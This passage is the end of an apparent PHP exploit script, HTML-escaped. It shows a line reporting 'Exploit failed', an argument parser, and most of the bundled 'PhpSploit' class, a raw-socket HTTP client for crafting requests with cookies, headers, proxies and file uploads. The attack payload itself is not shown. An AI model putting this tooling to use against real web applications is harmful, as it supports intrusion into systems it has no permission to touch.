;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;exit(\\\"Exploit&nbsp;failed\\\");\r\n}\r\n\r\nfunction&nbsp;getparam($param,$opt=\\'\\')\r\n{\r\n\tglobal&nbsp;$argv;\r\n\tforeach($argv&nbsp;as&nbsp;$value&nbsp;=>&nbsp;$key)\r\n\t{\r\n\t\tif($key&nbsp;==&nbsp;\\'-\\'.$param)&nbsp;return&nbsp;$argv[$value+1];\r\n\t}\r\n\tif($opt)&nbsp;exit(\\\"\r\n-$param&nbsp;parameter&nbsp;required\\\");\r\n\telse&nbsp;return;\r\n}\r\n\r\n/*\r\n&nbsp;*&nbsp;\r\n&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;darkfig\r\n&nbsp;*&nbsp;\r\n&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software;&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;\r\n&nbsp;*&nbsp;modify&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;\r\n&nbsp;*&nbsp;as&nbsp;published&nbsp;by&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation;&nbsp;either&nbsp;version&nbsp;2&nbsp;\r\n&nbsp;*&nbsp;of&nbsp;the&nbsp;License,&nbsp;or&nbsp;(at&nbsp;your&nbsp;option)&nbsp;any&nbsp;later&nbsp;version.&nbsp;\r\n&nbsp;*&nbsp;\r\n&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,&nbsp;\r\n&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of&nbsp;\r\n&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the&nbsp;\r\n&nbsp;*&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.&nbsp;\r\n&nbsp;*&nbsp;\r\n&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;\r\n&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program;&nbsp;if&nbsp;not,&nbsp;write&nbsp;to&nbsp;the&nbsp;Free&nbsp;Software&nbsp;\r\n&nbsp;*&nbsp;Foundation,&nbsp;Inc.,&nbsp;59&nbsp;Temple&nbsp;Place&nbsp;-&nbsp;Suite&nbsp;330,&nbsp;Boston,&nbsp;MA&nbsp;&nbsp;02111-1307,&nbsp;USA.\r\n&nbsp;*&nbsp;\r\n&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PhpSploit&nbsp;Class\r\n&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;5&nbsp;(remove&nbsp;\\\"private\\\",&nbsp;\\\"public\\\"&nbsp;if&nbsp;you&nbsp;have&nbsp;PHP&nbsp;4)\r\n&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.2\r\n&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License\r\n&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.acid-root.new.fr/tools/03061230.txt\r\n&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpsploitclass.php\r\n&nbsp;*\r\n&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gmdarkfig@gmail.com&nbsp;(french&nbsp;/&nbsp;english)\r\n&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sparah,&nbsp;Ddx39\r\n&nbsp;*\r\n&nbsp;*&nbsp;DESCRIPTION:\r\n&nbsp;*&nbsp;The&nbsp;phpsploit&nbsp;is&nbsp;a&nbsp;class&nbsp;implementing&nbsp;a&nbsp;web&nbsp;user&nbsp;agent.\r\n&nbsp;*&nbsp;You&nbsp;can&nbsp;add&nbsp;cookies,&nbsp;headers,&nbsp;use&nbsp;a&nbsp;proxy&nbsp;server&nbsp;with&nbsp;(or&nbsp;without)&nbsp;a\r\n&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;It&nbsp;supports&nbsp;the&nbsp;GET&nbsp;and&nbsp;the&nbsp;POST&nbsp;method.&nbsp;It&nbsp;can\r\n&nbsp;*&nbsp;also&nbsp;be&nbsp;used&nbsp;like&nbsp;a&nbsp;browser&nbsp;with&nbsp;the&nbsp;cookiejar()&nbsp;function&nbsp;(which&nbsp;allow\r\n&nbsp;*&nbsp;a&nbsp;server&nbsp;to&nbsp;add&nbsp;several&nbsp;cookies&nbsp;for&nbsp;the&nbsp;next&nbsp;requests)&nbsp;and&nbsp;the\r\n&nbsp;*&nbsp;allowredirection()&nbsp;function&nbsp;(which&nbsp;allow&nbsp;the&nbsp;script&nbsp;to&nbsp;follow&nbsp;all\r\n&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server).&nbsp;It&nbsp;can&nbsp;return&nbsp;the&nbsp;content&nbsp;(or&nbsp;the\r\n&nbsp;*&nbsp;headers)&nbsp;of&nbsp;the&nbsp;request.&nbsp;Others&nbsp;useful&nbsp;functions&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging.\r\n&nbsp;*&nbsp;A&nbsp;manual&nbsp;is&nbsp;actually&nbsp;in&nbsp;development&nbsp;but&nbsp;to&nbsp;know&nbsp;how&nbsp;to&nbsp;use&nbsp;it,&nbsp;you&nbsp;can\r\n&nbsp;*&nbsp;read&nbsp;the&nbsp;comments.\r\n&nbsp;*\r\n&nbsp;*&nbsp;CHANGELOG:\r\n&nbsp;*&nbsp;[2007-01-24]&nbsp;(1.2)\r\n&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#2&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;getcookie()&nbsp;function&nbsp;((|;))\r\n&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;multipart/form-data&nbsp;enctype&nbsp;is&nbsp;now&nbsp;supported&nbsp;\r\n&nbsp;*\r\n&nbsp;*&nbsp;[2006-12-31]&nbsp;(1.1)\r\n&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#1&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;allowredirection()&nbsp;function&nbsp;(chr(13)&nbsp;bug)\r\n&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;You&nbsp;can&nbsp;now&nbsp;call&nbsp;the&nbsp;getheader()&nbsp;/&nbsp;getcontent()&nbsp;function&nbsp;without&nbsp;parameters\r\n&nbsp;*\r\n&nbsp;*&nbsp;[2006-12-30]&nbsp;(1.0)\r\n&nbsp;*&nbsp;&nbsp;*&nbsp;First&nbsp;version\r\n&nbsp;*&nbsp;\r\n&nbsp;*/\r\n\r\nclass&nbsp;phpsploit&nbsp;{\r\n\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.\r\n\t&nbsp;*&nbsp;You&nbsp;don\\'t&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is&nbsp;the&nbsp;main&nbsp;function.\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@return&nbsp;$server_response\r\n\t&nbsp;*/\r\n\tprivate&nbsp;function&nbsp;sock()\r\n\t{\r\n\t\tif(!empty($this->proxyhost)&nbsp;&&&nbsp;!empty($this->proxyport))&nbsp;$socket&nbsp;=&nbsp;fsockopen($this->proxyhost,$this->proxyport);\r\n\t\telse&nbsp;$socket&nbsp;=&nbsp;fsockopen($this->host,$this->port);\r\n\t\t\r\n\t\tif(!$socket)&nbsp;die(\\\"Error:&nbsp;The&nbsp;host&nbsp;doesn\\'t&nbsp;exist\\\");\r\n\t\t\r\n\t\tif($this->method===\\\"get\\\")&nbsp;$this->packet&nbsp;=&nbsp;\\\"GET&nbsp;\\\".$this->url.\\\"&nbsp;HTTP/1.1\r\n\\\";\r\n\t\telseif($this->method===\\\"post\\\"&nbsp;or&nbsp;$this->method===\\\"formdata\\\")&nbsp;$this->packet&nbsp;=&nbsp;\\\"POST&nbsp;\\\".$this->url.&nbsp;\\\"&nbsp;HTTP/1.1\r\n\\\";\r\n\t\telse&nbsp;die(\\\"Error:&nbsp;Invalid&nbsp;method\\\");\r\n\t\t\r\n\t\tif(!empty($this->proxyuser))&nbsp;$this->packet&nbsp;.=&nbsp;\\\"Proxy-Authorization:&nbsp;Basic&nbsp;\\\".base64_encode($this->proxyuser.\\\":\\\".$this->proxypass).\\\"\r\n\\\";\r\n\t\t$this->packet&nbsp;.=&nbsp;\\\"Host:&nbsp;\\\".$this->host.\\\"\r\n\\\";\r\n\t\t\r\n\t\tif(!empty($this->agent))&nbsp;&nbsp;$this->packet&nbsp;.=&nbsp;\\\"User-Agent:&nbsp;\\\".$this->agent.\\\"\r\n\\\";\r\n\t\tif(!empty($this->header))&nbsp;$this->packet&nbsp;.=&nbsp;$this->header.\\\"\r\n\\\";\r\n\t\tif(!empty($this->cookie))&nbsp;$this->packet&nbsp;.=&nbsp;\\\"Cookie:&nbsp;\\\".$this->cookie.\\\"\r\n\\\";\r\n\t\t\r\n\t\t$this->packet&nbsp;.=&nbsp;\\\"Connection:&nbsp;Close\r\n\\\";\r\n\t\tif($this->method===\\\"post\\\")\r\n\t\t{\r\n\t\t\t$this->packet&nbsp;.=&nbsp;\\\"Content-Type:&nbsp;application/x-www-form-urlencoded\r\n\\\";\r\n\t\t\t$this->packet&nbsp;.=&nbsp;\\\"Content-Length:&nbsp;\\\".strlen($this->data).\\\"\r\n\r\n\\\";\r\n\t\t\t$this->packet&nbsp;.=&nbsp;$this->data.\\\"\r\n\\\";\r\n\t\t}\r\n\t\telseif($this->method===\\\"formdata\\\")\r\n\t\t{\r\n\t\t\t$this->packet&nbsp;.=&nbsp;\\\"Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------\\\".$this->boundary.\\\"\r\n\\\";\r\n\t\t\t$this->packet&nbsp;.=&nbsp;\\\"Content-Length:&nbsp;\\\".strlen($this->data).\\\"\r\n\r\n\\\";\r\n\t\t\t$this->packet&nbsp;.=&nbsp;$this->data;\r\n\t\t}\r\n\t\t$this->packet&nbsp;.=&nbsp;\\\"\r\n\\\";\r\n\t\t$this->recv&nbsp;=&nbsp;\\'\\';\r\n\t\t\r\n\t\tfputs($socket,$this->packet);\r\n\t\twhile(!feof($socket))&nbsp;$this->recv&nbsp;.=&nbsp;fgets($socket);\r\n\t\tfclose($socket);\r\n\t\t\r\n\t\tif($this->cookiejar)&nbsp;$this->cookiejar($this->getheader($this->recv));\r\n\t\tif($this->allowredirection)&nbsp;return&nbsp;$this->allowredirection($this->recv);\r\n\t\telse&nbsp;return&nbsp;$this->recv;\r\n\t}\r\n\t\r\n\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;cookie&nbsp;in&nbsp;the\r\n\t&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->addcookie(\\\"name\\\",\\\"value\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->addcookie(\\\"name=newvalue\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->addcookie(\\\"othername=overvalue;&nbsp;xx=zz;&nbsp;y=u\\\");\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookiename\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookievalue\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;addcookie($cookn,$cookv=\\'\\')\r\n\t{\r\n\t\t//&nbsp;$this->addcookie(\\\"name\\\",\\\"value\\\");&nbsp;work&nbsp;avec&nbsp;replace\r\n\t\tif(!empty($cookv))\r\n\t\t{\r\n\t\t\tif($cookv&nbsp;===&nbsp;\\\"deleted\\\")&nbsp;$cookv=\\'\\';&nbsp;//&nbsp;cookiejar(1)&nbsp;&&&nbsp;Set-Cookie:&nbsp;name=delete\r\n\t\t\tif(!empty($this->cookie))\r\n\t\t\t{\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(\\\"/$cookn=/\\\",$this->cookie))\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;{\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;\t$this->cookie&nbsp;=&nbsp;preg_replace(\\\"/$cookn=(S*);/\\\",\\\"$cookn=$cookv;\\\",$this->cookie);\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;}\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;else\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;{\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;\t$this->cookie&nbsp;.=&nbsp;\\\"&nbsp;\\\".$cookn.\\\"=\\\".$cookv.\\\";\\\";&nbsp;//&nbsp;\\\"&nbsp;\\\".\r\n\t\t\t&nbsp;&nbsp;&nbsp;&nbsp;}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$this->cookie&nbsp;=&nbsp;$cookn.\\\"=\\\".$cookv.\\\";\\\";\r\n\t\t\t}\r\n\t\t}\r\n\t\t//&nbsp;$this->addcookie(\\\"name=value;&nbsp;othername=othervalue\\\");\r\n\t\telse\r\n\t\t{\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;if(!empty($this->cookie))\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;{\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t$cookn&nbsp;=&nbsp;preg_replace(\\\"/(.*);$/\\\",\\\"$1\\\",$cookn);\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t$cookarr&nbsp;=&nbsp;explode(\\\";\\\",str_replace(\\\"&nbsp;\\\",&nbsp;\\\"\\\",$cookn));\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\tfor($i=0;$i<count($cookarr);$i++)\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t{\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t\tpreg_match(\\\"/(S*)=(S*)/\\\",$cookarr[$i],$matches);\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t\t$cookn&nbsp;=&nbsp;$matches[1];\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t\t$cookv&nbsp;=&nbsp;$matches[2];\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t\t$this->addcookie($cookn,$cookv);\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;\t}\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;}\r\n\t\t\t&nbsp;else\r\n\t\t\t&nbsp;{\r\n\t\t\t&nbsp;\t$cookn&nbsp;=&nbsp;((substr($cookn,(strlen($cookn)-1),1))===\\\";\\\")&nbsp;?&nbsp;$cookn&nbsp;:&nbsp;$cookn.\\\";\\\";\r\n\t\t\t&nbsp;\t$this->cookie&nbsp;=&nbsp;$cookn;\t\t\t\r\n\t\t\t&nbsp;}\r\n\t\t}\r\n\t}\r\n\t\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;headers&nbsp;in&nbsp;the\r\n\t&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;$this->addheader(\\\"headername\\\",\\\"headervalue\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->addheader(\\\"headername:&nbsp;headervalue\\\");\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headername\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headervalue\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;addheader($headern,$headervalue=\\'\\')\r\n\t{\r\n\t\t//&nbsp;$this->addheader(\\\"name\\\",\\\"value\\\");\r\n\t\tif(!empty($headervalue))\r\n\t\t{\r\n\t\t\tif(!empty($this->header))\r\n\t\t\t{\r\n\t\t\t\tif(preg_match(\\\"/$headern:/\\\",$this->header))\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->header&nbsp;=&nbsp;preg_replace(\\\"/$headern:&nbsp;(S*)/\\\",\\\"$headern:&nbsp;$headervalue\\\",$this->header);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->header&nbsp;.=&nbsp;\\\"\r\n\\\".$headern.\\\":&nbsp;\\\".$headervalue;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$this->header=$headern.\\\":&nbsp;\\\".$headervalue;\r\n\t\t\t}\r\n\t\t}\r\n\t\t//&nbsp;$this->addheader(\\\"name:&nbsp;value\\\");\r\n\t\telse&nbsp;\r\n\t\t{\r\n\t\t\tif(!empty($this->header))\r\n\t\t\t{\r\n\t\t\t\t$headarr&nbsp;=&nbsp;explode(\\\":&nbsp;\\\",$headern);\r\n\t\t\t\t$headern&nbsp;=&nbsp;$headarr[0];\r\n\t\t\t\t$headerv&nbsp;=&nbsp;$headarr[1];\r\n\t\t\t\t$this->addheader($headern,$headerv);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$this->header=$headern;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server.\r\n\t&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->proxy(\\\"proxyip\\\",\\\"8118\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->proxy(\\\"proxyip:8118\\\")\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyhost\r\n\t&nbsp;*&nbsp;@param&nbsp;integer&nbsp;$proxyport\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;proxy($proxy,$proxyp=\\'\\')\r\n\t{\r\n\t\t//&nbsp;$this->proxy(\\\"localhost:8118\\\");\r\n\t\tif(empty($proxyp))\r\n\t\t{\r\n\t\t\tpreg_match(\\\"/^(S*):(d+)$/\\\",$proxy,$proxarr);\r\n\t\t\t$proxh&nbsp;=&nbsp;$proxarr[1];\r\n\t\t\t$proxp&nbsp;=&nbsp;$proxarr[2];\r\n\t\t\t$this->proxyhost=$proxh;\r\n\t\t\t$this->proxyport=$proxp;\r\n\t\t}\r\n\t\t//&nbsp;$this->proxy(\\\"localhost\\\",8118);\r\n\t\telse&nbsp;\r\n\t\t{\r\n\t\t\t$this->proxyhost=$proxy;\r\n\t\t\t$this->proxyport=intval($proxyp);\r\n\t\t}\r\n\t\tif($this->proxyport&nbsp;>&nbsp;65535)&nbsp;die(\\\"Error:&nbsp;Invalid&nbsp;port&nbsp;number\\\");\r\n\t}\r\n\t\r\n\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server\r\n\t&nbsp;*&nbsp;which&nbsp;requires&nbsp;a&nbsp;basic&nbsp;authentification.&nbsp;Several\r\n\t&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->proxyauth(\\\"darkfig\\\",\\\"dapasswd\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->proxyauth(\\\"darkfig:dapasswd\\\");\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyuser\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxypass\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;proxyauth($proxyauth,$proxypasse=\\'\\')\r\n\t{\r\n\t\t//&nbsp;$this->proxyauth(\\\"darkfig:password\\\");\r\n\t\tif(empty($proxypasse))\r\n\t\t{\r\n\t\t\tpreg_match(\\\"/^(.*):(.*)$/\\\",$proxyauth,$proxautharr);\r\n\t\t\t$proxu&nbsp;=&nbsp;$proxautharr[1];\r\n\t\t\t$proxp&nbsp;=&nbsp;$proxautharr[2];\r\n\t\t\t$this->proxyuser=$proxu;\r\n\t\t\t$this->proxypass=$proxp;\r\n\t\t}\r\n\t\t//&nbsp;$this->proxyauth(\\\"darkfig\\\",\\\"password\\\");\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->proxyuser=$proxyauth;\r\n\t\t\t$this->proxypass=$proxypasse;\r\n\t\t}\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set&nbsp;the&nbsp;\\\"User-Agent\\\"&nbsp;header.\r\n\t&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;possible&nbsp;to&nbsp;do&nbsp;that:\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->agent(\\\"Mozilla&nbsp;Firefox\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->addheader(\\\"User-Agent:&nbsp;Mozilla&nbsp;Firefox\\\");\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->addheader(\\\"User-Agent\\\",\\\"Mozilla&nbsp;Firefox\\\");\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$useragent\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;agent($useragent)\r\n\t{\r\n\t\t$this->agent=$useragent;\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;header&nbsp;which&nbsp;will&nbsp;be\r\n\t&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->showheader();\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@return&nbsp;$header\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;showheader()\r\n\t{\r\n\t\treturn&nbsp;$this->header;\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookie&nbsp;which&nbsp;will&nbsp;be\r\n\t&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->showcookie();\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@return&nbsp;$storedcookies\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;showcookie()\r\n\t{\r\n\t\treturn&nbsp;$this->cookie;\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last&nbsp;formed\r\n\t&nbsp;*&nbsp;http&nbsp;request&nbsp;(the&nbsp;http&nbsp;packet).\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->showlastrequest();\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;@return&nbsp;$last_http_request\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;showlastrequest()\r\n\t{\r\n\t\treturn&nbsp;$this->packet;\r\n\t}\r\n\t\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the\r\n\t&nbsp;*&nbsp;GET&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->get(\\\"http://localhost\\\");\r\n\t&nbsp;*&nbsp;$this->get(\\\"http://localhost:888/xd/tst.php\\\");\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath\r\n\t&nbsp;*&nbsp;@return&nbsp;$server_response\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;get($url)\r\n\t{\r\n\t\t$this->target($url);\r\n\t\t$this->method=\\\"get\\\";\r\n\t\treturn&nbsp;$this->sock();\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the\r\n\t&nbsp;*&nbsp;POST&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->post(\\\"http://localhost/index.php\\\",\\\"admin=1&user=dark\\\");\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$postdata\r\n\t&nbsp;*&nbsp;@return&nbsp;$server_response\r\n\t&nbsp;*/\t\r\n\tpublic&nbsp;function&nbsp;post($url,$data)\r\n\t{\r\n\t\t$this->target($url);\r\n\t\t$this->method=\\\"post\\\";\r\n\t\t$this->data=$data;\r\n\t\treturn&nbsp;$this->sock();\r\n\t}\r\n\t\r\n\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the\r\n\t&nbsp;*&nbsp;POST&nbsp;method&nbsp;using&nbsp;the&nbsp;multipart/form-data&nbsp;enctype.&nbsp;\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$array&nbsp;=&nbsp;array(\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=>&nbsp;\\\"http://localhost/upload.php\\\",\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_boundary&nbsp;=>&nbsp;\\\"123456\\\",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"email\\\"&nbsp;=>&nbsp;\\\"me@u.com\\\",\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"varname\\\"&nbsp;=>&nbsp;array(\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_type&nbsp;=>&nbsp;\\\"image/gif\\\",&nbsp;&nbsp;&nbsp;#&nbsp;Optional\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n